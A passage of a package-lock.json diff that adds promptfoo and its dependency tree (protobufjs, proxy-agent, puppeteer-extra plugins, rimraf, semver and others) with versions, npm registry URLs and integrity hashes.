"cors": "^2.8.6", + "csv-parse": "^7.0.0", + "csv-stringify": "^6.7.0", + "debounce": "^3.0.0", + "dedent": "^1.7.2", + "dotenv": "^17.3.1", + "drizzle-orm": "^0.45.1", + "execa": "^10.0.0", + "express": "^5.2.1", + "exsolve": "^1.0.8", + "fast-deep-equal": "^3.1.3", + "fast-safe-stringify": "^2.1.1", + "fast-xml-parser": "^5.7.1", + "fastest-levenshtein": "^1.0.16", + "gcp-metadata": "^9.0.2", + "glob": "^13.0.6", + "http-z": "^8.1.1", + "istextorbinary": "^9.5.0", + "js-rouge": "^3.2.0", + "js-yaml": "5.4.1", + "json5": "^2.2.3", + "keyv": "^5.6.0", + "keyv-file": "^5.3.3", + "lru-cache": "^11.3.0", + "mathjs": "^15.1.1", + "minimatch": "^10.2.4", + "nunjucks": "^3.2.4", + "openai": "^7.1.0", + "opener": "^1.5.2", + "ora": "^9.3.0", + "parse5": "^8.0.0", + "posthog-node": "~5.24.10", + "protobufjs": "^8.7.2", + "proxy-agent": "^8.0.0", + "proxy-from-env": "^2.1.0", + "python-shell": "^5.0.0", + "rfdc": "^1.4.1", + "rxjs": "^7.8.2", + "saxes": "^6.0.0", + "semver": "^7.7.4", + "simple-git": "^3.33.0", + "socket.io": "^4.8.3", + "socket.io-client": "^4.8.3", + "text-extensions": "^3.1.0", + "tsx": "^4.23.11", + "undici": ">=7.29.1 <8", + "winston": "^3.19.0", + "ws": "^8.21.3", + "zod": "^4.3.6" + }, + "bin": { + "pf": "dist/src/entrypoint.js", + "promptfoo": "dist/src/entrypoint.js" + }, + "engines": { + "node": ">=22.22.0" + }, + "optionalDependencies": { + "@anthropic-ai/claude-agent-sdk": "0.3.263", + "@aws-sdk/client-bedrock-agent-runtime": "^3.1045.0", + "@aws-sdk/client-bedrock-runtime": "^3.1045.0", + "@aws-sdk/client-s3": "^3.1003.0", + "@aws-sdk/client-sagemaker-runtime": "^3.1045.0", + "@aws-sdk/credential-provider-sso": "^3.972.16", + "@aws/bedrock-token-generator": "^1.1.0", + "@azure/ai-projects": "^2.1.1", + "@azure/identity": "^4.13.0", + "@azure/msal-node": "^6.0.0", + "@azure/openai-assistants": "^1.0.0-beta.6", + "@azure/storage-blob": "^12.31.0", + "@fal-ai/client": "~1.10.1", + "@googleapis/sheets": "^14.0.0", + "@huggingface/transformers": "^4.0.0", + "@ibm-cloud/watsonx-ai": "^1.7.16", + "@langfuse/client": "^5.11.0", + "@modelcontextprotocol/sdk": "^1.30.0", + "@openai/agents": "^0.11.3", + "@openai/codex-sdk": "^0.153.2", + "@openai/codex-security": "^0.1.18", + "@opencode-ai/sdk": "^1.18.27", + "@playwright/browser-chromium": "^1.63.0", + "@rollup/rollup-linux-x64-gnu": "^4.63.1", + "@slack/web-api": "^8.1.1", + "@smithy/node-http-handler": "^4.4.14", + "@swc/core": "^1.16.2", + "@swc/core-darwin-arm64": "^1.16.2", + "@swc/core-darwin-x64": "^1.16.2", + "@swc/core-linux-x64-gnu": "^1.16.2", + "@swc/core-linux-x64-musl": "^1.16.2", + "@swc/core-win32-x64-msvc": "^1.16.2", + "google-auth-library": "^11.0.2", + "hono": "^4.13.7", + "ibm-cloud-sdk-core": "^5.6.0", + "jks-js": "^1.1.5", + "natural": "^8.1.1", + "node-sql-parser": "^5.4.0", + "pdf-parse": "^2.4.5", + "pem": "~1.14.8", + "playwright": "^1.63.0", + "playwright-extra": "^4.3.6", + "puppeteer-extra-plugin-stealth": "^2.11.2", + "read-excel-file": "^9.3.9", + "sharp": "^0.35.4" + } + }, + "node_modules/promptfoo/node_modules/chokidar": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-5.0.0.tgz", + "integrity": "sha512-TQMmc3w+5AxjpL8iIiwebF73dRDF4fBIieAqGn9RGCWaEVwQ6Fb2cGe31Yns0RRIzii5goJ1Y7xbMwo1TxMplw==", + "license": "MIT", + "dependencies": { + "readdirp": "^5.0.0" + }, + "engines": { + "node": ">= 20.19.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/promptfoo/node_modules/readdirp": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-5.1.1.tgz", + "integrity": "sha512-Kko+Y5XQ6fM+Ce3dq3m9YGxnacYZYl9cA1wZjaF3Vbry2L3i1qVg8+CAgNPsXRArPMUMCaOR7oa9Nqntc43JKA==", + "license": "MIT", + "engines": { + "node": ">= 20.19.0" + }, + "funding": { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/protobufjs": { + "version": "8.8.0", + "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-8.8.0.tgz", + "integrity": "sha512-N3xhQ5yyBx3vQq4gubBfASzYhJGNzeDbjqBpu61g7UVylsN/qyffU96TKWD3GbbLOKF82VGNRNvv1+BFgE31Eg==", + "license": "BSD-3-Clause", + "dependencies": { + "long": "^5.3.2" + }, + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/proxy-addr": { + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.8.tgz", + "integrity": "sha512-5nnx0yGyVUcY6t9RnWcARWtwT9F1D8O9rt08htPvnd49W1IgZtmLkhu9WfMzQj1cFxjHIO6connUNVW5k7AVyQ==", + "license": "MIT", + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/proxy-agent": { + "version": "8.0.2", + "resolved": "https://registry.npmjs.org/proxy-agent/-/proxy-agent-8.0.2.tgz", + "integrity": "sha512-idLLRewuemWd7GH/BDJzGiB0dWGfT2SQs3jy6NtZtGWU9uPTTSdeC1/cdbqLwgzhfv027daGFuXX426e2Eg20A==", + "license": "MIT", + "dependencies": { + "agent-base": "9.0.0", + "debug": "^4.3.4", + "http-proxy-agent": "9.1.0", + "https-proxy-agent": "9.1.0", + "lru-cache": "^7.14.1", + "pac-proxy-agent": "9.1.0", + "proxy-from-env": "^2.0.0", + "socks-proxy-agent": "10.1.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/proxy-agent-negotiate": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/proxy-agent-negotiate/-/proxy-agent-negotiate-1.1.0.tgz", + "integrity": "sha512-N8IBcM3UgCVzz2L2Lqv8DVntDnnC8/hiV4nEDUPkqq72TPUgYWjQc+bdZlBPZK9LzPAvOY//gAt0S0DApoOXWQ==", + "license": "MIT", + "engines": { + "node": ">= 20" + }, + "peerDependencies": { + "kerberos": "^2.0.0" + }, + "peerDependenciesMeta": { + "kerberos": { + "optional": true + } + } + }, + "node_modules/proxy-agent/node_modules/agent-base": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-9.0.0.tgz", + "integrity": "sha512-TQf59BsZnytt8GdJKLPfUZ54g/iaUL2OWDSFCCvMOhsHduDQxO8xC4PNeyIkVcA5KwL2phPSv0douC0fgWzmnA==", + "license": "MIT", + "engines": { + "node": ">= 20" + } + }, + "node_modules/proxy-agent/node_modules/http-proxy-agent": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-9.1.0.tgz", + "integrity": "sha512-2NxoveTT58mjYT4n3RPTEfCZGLMbidoO8XEieXfpSYxu+PQJ1qpx4ypwH6N+uF9twBPIvRRgvkvW5HUTYWENig==", + "license": "MIT", + "dependencies": { + "agent-base": "9.0.0", + "debug": "^4.3.4", + "proxy-agent-negotiate": "1.1.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/proxy-agent/node_modules/https-proxy-agent": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-9.1.0.tgz", + "integrity": "sha512-ag87y7cJJ9/3+GxFr8Oy4O5faDsGRGnBGsJj/YjOSsSx/5eadKLYTMPlzuR6obgoCDDm0abAAZitXXQkMOPSpA==", + "license": "MIT", + "dependencies": { + "agent-base": "9.0.0", + "debug": "^4.3.4", + "proxy-agent-negotiate": "1.1.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/proxy-agent/node_modules/lru-cache": { + "version": "7.18.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.18.3.tgz", + "integrity": "sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/proxy-from-env": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-2.1.0.tgz", + "integrity": "sha512-cJ+oHTW1VAEa8cJslgmUZrc+sjRKgAKl3Zyse6+PV38hZe/V6Z14TbCuXcan9F9ghlz4QrFr2c92TNF82UkYHA==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/psl": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/psl/-/psl-1.15.0.tgz", + "integrity": "sha512-JZd3gMVBAVQkSs6HdNZo9Sdo0LNcQeMNP3CozBJb3JYC/QUYZTnKxP+f8oWRX4rHP5EurWxqAHTSwUCjlNKa1w==", + "license": "MIT", + "optional": true, + "dependencies": { + "punycode": "^2.3.1" + }, + "funding": { + "url": "https://github.com/sponsors/lupomontero" + } + }, + "node_modules/punycode": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.1.tgz", + "integrity": "sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/puppeteer-extra-plugin": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/puppeteer-extra-plugin/-/puppeteer-extra-plugin-3.2.3.tgz", + "integrity": "sha512-6RNy0e6pH8vaS3akPIKGg28xcryKscczt4wIl0ePciZENGE2yoaQJNd17UiEbdmh5/6WW6dPcfRWT9lxBwCi2Q==", + "license": "MIT", + "optional": true, + "dependencies": { + "@types/debug": "^4.1.0", + "debug": "^4.1.1", + "merge-deep": "^3.0.1" + }, + "engines": { + "node": ">=9.11.2" + }, + "peerDependencies": { + "playwright-extra": "*", + "puppeteer-extra": "*" + }, + "peerDependenciesMeta": { + "playwright-extra": { + "optional": true + }, + "puppeteer-extra": { + "optional": true + } + } + }, + "node_modules/puppeteer-extra-plugin-stealth": { + "version": "2.11.2", + "resolved": "https://registry.npmjs.org/puppeteer-extra-plugin-stealth/-/puppeteer-extra-plugin-stealth-2.11.2.tgz", + "integrity": "sha512-bUemM5XmTj9i2ZerBzsk2AN5is0wHMNE6K0hXBzBXOzP5m5G3Wl0RHhiqKeHToe/uIH8AoZiGhc1tCkLZQPKTQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "debug": "^4.1.1", + "puppeteer-extra-plugin": "^3.2.3", + "puppeteer-extra-plugin-user-preferences": "^2.4.1" + }, + "engines": { + "node": ">=8" + }, + "peerDependencies": { + "playwright-extra": "*", + "puppeteer-extra": "*" + }, + "peerDependenciesMeta": { + "playwright-extra": { + "optional": true + }, + "puppeteer-extra": { + "optional": true + } + } + }, + "node_modules/puppeteer-extra-plugin-user-data-dir": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/puppeteer-extra-plugin-user-data-dir/-/puppeteer-extra-plugin-user-data-dir-2.4.1.tgz", + "integrity": "sha512-kH1GnCcqEDoBXO7epAse4TBPJh9tEpVEK/vkedKfjOVOhZAvLkHGc9swMs5ChrJbRnf8Hdpug6TJlEuimXNQ+g==", + "license": "MIT", + "optional": true, + "dependencies": { + "debug": "^4.1.1", + "fs-extra": "^10.0.0", + "puppeteer-extra-plugin": "^3.2.3", + "rimraf": "^3.0.2" + }, + "engines": { + "node": ">=8" + }, + "peerDependencies": { + "playwright-extra": "*", + "puppeteer-extra": "*" + }, + "peerDependenciesMeta": { + "playwright-extra": { + "optional": true + }, + "puppeteer-extra": { + "optional": true + } + } + }, + "node_modules/puppeteer-extra-plugin-user-preferences": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/puppeteer-extra-plugin-user-preferences/-/puppeteer-extra-plugin-user-preferences-2.4.1.tgz", + "integrity": "sha512-i1oAZxRbc1bk8MZufKCruCEC3CCafO9RKMkkodZltI4OqibLFXF3tj6HZ4LZ9C5vCXZjYcDWazgtY69mnmrQ9A==", + "license": "MIT", + "optional": true, + "dependencies": { + "debug": "^4.1.1", + "deepmerge": "^4.2.2", + "puppeteer-extra-plugin": "^3.2.3", + "puppeteer-extra-plugin-user-data-dir": "^2.4.1" + }, + "engines": { + "node": ">=8" + }, + "peerDependencies": { + "playwright-extra": "*", + "puppeteer-extra": "*" + }, + "peerDependenciesMeta": { + "playwright-extra": { + "optional": true + }, + "puppeteer-extra": { + "optional": true + } + } + }, + "node_modules/python-shell": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/python-shell/-/python-shell-5.0.0.tgz", + "integrity": "sha512-RUOOOjHLhgR1MIQrCtnEqz/HJ1RMZBIN+REnpSUrfft2bXqXy69fwJASVziWExfFXsR1bCY0TznnHooNsCo0/w==", + "license": "MIT", + "engines": { + "node": ">=0.10" + } + }, + "node_modules/qs": { + "version": "6.16.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.16.0.tgz", + "integrity": "sha512-h6fhOIaRrID2CbEY2fqs+7t+UXZo+MLAnU5gRIq85uFtdiUPCdsApMlHhXogKVM4HM2DVbIjGNTTYH2OcmP1vA==", + "license": "BSD-3-Clause", + "dependencies": { + "es-define-property": "^1.0.1", + "side-channel": "^1.1.1" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/querystringify": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz", + "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==", + "license": "MIT", + "optional": true + }, + "node_modules/quickjs-wasi": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/quickjs-wasi/-/quickjs-wasi-2.2.0.tgz", + "integrity": "sha512-zQxXmQMrEoD3S+jQdYsloq4qAuaxKFHZj6hHqOYGwB2iQZH+q9e/lf5zQPXCKOk0WJuAjzRFbO4KwHIp2D05Iw==", + "license": "MIT" + }, + "node_modules/range-parser": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.3.0.tgz", + "integrity": "sha512-hek2mFQpPuI4E1BBKrSto+BU3e3x4xuarsbiwr3+lf7p44juvFMV0XFWQAP3xUyqXA4RrXLIoaSUGbSt056ZMw==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/raw-body": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-3.0.2.tgz", + "integrity": "sha512-K5zQjDllxWkf7Z5xJdV0/B0WTNqx6vxG70zJE4N0kBs4LovmEYWJzQGxC9bS9RAKu3bgM40lrd5zoLJ12MQ5BA==", + "license": "MIT", + "dependencies": { + "bytes": "~3.1.2", + "http-errors": "~2.0.1", + "iconv-lite": "~0.7.0", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/react": { + "version": "19.3.0", + "resolved": "https://registry.npmjs.org/react/-/react-19.3.0.tgz", + "integrity": "sha512-E8LUcbtBWt20bbl2YoHfx4ZDBdxVTfOKtCZn9cDSJ4l6/nuoApcpIBcj47t2wZoVX8g2ZHuMHbiShgCR1T5Sog==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-reconciler": { + "version": "0.33.0", + "resolved": "https://registry.npmjs.org/react-reconciler/-/react-reconciler-0.33.0.tgz", + "integrity": "sha512-KetWRytFv1epdpJc3J4G75I4WrplZE5jOL7Yq0p34+OVOKF4Se7WrdIdVC45XsSSmUTlht2FM/fM1FZb1mfQeA==", + "license": "MIT", + "optional": true, + "dependencies": { + "scheduler": "^0.27.0" + }, + "engines": { + "node": ">=0.10.0" + }, + "peerDependencies": { + "react": "^19.2.0" + } + }, + "node_modules/read-excel-file": { + "version": "9.3.10", + "resolved": "https://registry.npmjs.org/read-excel-file/-/read-excel-file-9.3.10.tgz", + "integrity": "sha512-zFcBdzunLCGBmLRT4Q3mLPJnhKPAXXfGAZ83feODlEqX2aRUbgF1h/n2oY0UF7I8tVwnJNRas6fTRD5veDUs+g==", + "license": "MIT", + "optional": true, + "dependencies": { + "fflate": "^0.8.3", + "saxen": "^11.1.0", + "unzipper-esm": "^0.13.3", + "worker-f": "^0.1.12" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "license": "MIT", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/redis": { + "version": "5.12.1", + "resolved": "https://registry.npmjs.org/redis/-/redis-5.12.1.tgz", + "integrity": "sha512-LDsoVvb/CpoV9EN3FXvgvSHNJWuCIzl9MiO3ppOevuGLpSGJhwfQjpEwfFJcQvNSddHADDdZaWx0HnmMxRXG7g==", + "license": "MIT", + "optional": true, + "dependencies": { + "@redis/bloom": "5.12.1", + "@redis/client": "5.12.1", + "@redis/json": "5.12.1", + "@redis/search": "5.12.1", + "@redis/time-series": "5.12.1" + }, + "engines": { + "node": ">= 18.19.0" + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/requires-port": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", + "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==", + "license": "MIT", + "optional": true + }, + "node_modules/restore-cursor": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-4.0.0.tgz", + "integrity": "sha512-I9fPXU9geO9bHOt9pHHOhOkYerIMsmVaWB0rA2AI9ERh/+x/i7MV5HKBNrg+ljO5eoPVgCcnFuRjJ9uH6I/3eg==", + "license": "MIT", + "optional": true, + "dependencies": { + "onetime": "^5.1.0", + "signal-exit": "^3.0.2" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/restore-cursor/node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "license": "ISC", + "optional": true + }, + "node_modules/retry": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", + "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 4" + } + }, + "node_modules/retry-axios": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/retry-axios/-/retry-axios-2.6.0.tgz", + "integrity": "sha512-pOLi+Gdll3JekwuFjXO3fTq+L9lzMQGcSq7M5gIjExcl3Gu1hd4XXuf5o3+LuSBsaULQH7DiNbsqPd1chVpQGQ==", + "license": "Apache-2.0", + "optional": true, + "engines": { + "node": ">=10.7.0" + }, + "peerDependencies": { + "axios": "*" + } + }, + "node_modules/rfdc": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/rfdc/-/rfdc-1.4.1.tgz", + "integrity": "sha512-q1b3N5QkRUWUl7iyylaaj3kOpIT0N2i9MqIEQXP73GVsN9cw3fdx8X63cEmWhJGi2PPCF23Ijp7ktmd39rawIA==", + "license": "MIT" + }, + "node_modules/rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "deprecated": "Rimraf versions prior to v4 are no longer supported", + "license": "ISC", + "optional": true, + "dependencies": { + "glob": "^7.1.3" + }, + "bin": { + "rimraf": "bin.js" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/rimraf/node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "license": "MIT", + "optional": true + }, + "node_modules/rimraf/node_modules/brace-expansion": { + "version": "1.1.21", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.21.tgz", + "integrity": "sha512-9zeA+KLZNNzglF2TPKRQEDyx6Yby7daAkuy8MiPzpXPsYDWi/DRM8jmwUDxokQjYqBpv5DgPiwD4h4ZZSy1Ujw==", + "license": "MIT", + "optional": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/rimraf/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", + "license": "ISC", + "optional": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/rimraf/node_modules/minimatch": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", + "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "license": "ISC", + "optional": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/robot3": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/robot3/-/robot3-0.4.1.tgz", + "integrity": "sha512-hzjy826lrxzx8eRgv80idkf8ua1JAepRc9Efdtj03N3KNJuznQCPlyCJ7gnUmDFwZCLQjxy567mQVKmdv2BsXQ==", + "license": "BSD-2-Clause", + "optional": true + }, + "node_modules/router": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/router/-/router-2.2.0.tgz", + "integrity": "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.0", + "depd": "^2.0.0", + "is-promise": "^4.0.0", + "parseurl": "^1.3.3", + "path-to-regexp": "^8.0.0" + }, + "engines": { + "node": ">= 18" + } + }, + "node_modules/run-applescript": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/run-applescript/-/run-applescript-7.1.0.tgz", + "integrity": "sha512-DPe5pVFaAsinSaV6QjQ6gdiedWDcRCbUuiQfQa2wmWV7+xC9bGulGI8+TdRmoFkAPaBXk8CrAbnlY2ISniJ47Q==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/rxjs": { + "version": "7.8.2", + "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-7.8.2.tgz", + "integrity": "sha512-dhKf903U/PQZY6boNNtAGdWbG85WAbjT/1xYoZIC7FAY0yWapOBQVsVrDl58W86//e1VpMNBtRV4MaXfdMySFA==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.1.0" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/safe-stable-stringify": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/safe-stable-stringify/-/safe-stable-stringify-2.5.0.tgz", + "integrity": "sha512-b3rppTKm9T+PsVCBEOUR46GWI7fdOs00VKZ1+9c1EWDaDMvjQc6tUwuFyIprgGgTcWoVHSKrU8H31ZHA2e0RHA==", + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "license": "MIT" + }, + "node_modules/saxen": { + "version": "11.2.0", + "resolved": "https://registry.npmjs.org/saxen/-/saxen-11.2.0.tgz", + "integrity": "sha512-2bG564AAJcm/3vyZC0Uhs/mACrH+4AHMaKHKAB2M5xMqomUZa27FQ7MYaQGFKVcJk/MVzSEQ34A8QZWW+eiWEw==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 20.12" + } + }, + "node_modules/saxes": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz", + "integrity": "sha512-xAg7SOnEhrm5zI3puOOKyy1OMcMlIJZYNJY7xLBwSze0UjhPLnWfj2GF2EpT0jmzaJKIWKHLsaSSajf35bcYnA==", + "license": "ISC", + "dependencies": { + "xmlchars": "^2.2.0" + }, + "engines": { + "node": ">=v12.22.7" + } + }, + "node_modules/scheduler": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.27.0.tgz", + "integrity": "sha512-eNv+WrVbKu1f3vbYJT/xtiF5syA5HPIMtf9IgY/nKg0sWqzAUEvqY/xm7OcZc/qafLx/iO9FgOmeSAp4v5ti/Q==", + "license": "MIT", + "optional": true + }, + "node_modules/seedrandom": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/seedrandom/-/seedrandom-3.0.5.tgz", + "integrity": "sha512-8OwmbklUNzwezjGInmZ+2clQmExQPvomqjL7LFqOYqtmuxRgQYqOD3mHaU+MvZn5FLUeVxVfQjwLZW/n/JFuqg==", + "license": "MIT" + }, + "node_modules/semver": { + "version": "7.8.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz", + "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==", + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/send": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/send/-/send-1.2.1.tgz", + "integrity": "sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.3", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "etag": "^1.8.1", + "fresh": "^2.0.0", + "http-errors": "^2.0.1", + "mime-types": "^3.0.2", + "ms": "^2.1.3", + "on-finished": "^2.4.1", + "range-parser": "^1.2.1", + "statuses": "^2.0.2" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/serialize-error": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/serialize-error/-/serialize-error-8.1.0.tgz", + "integrity": 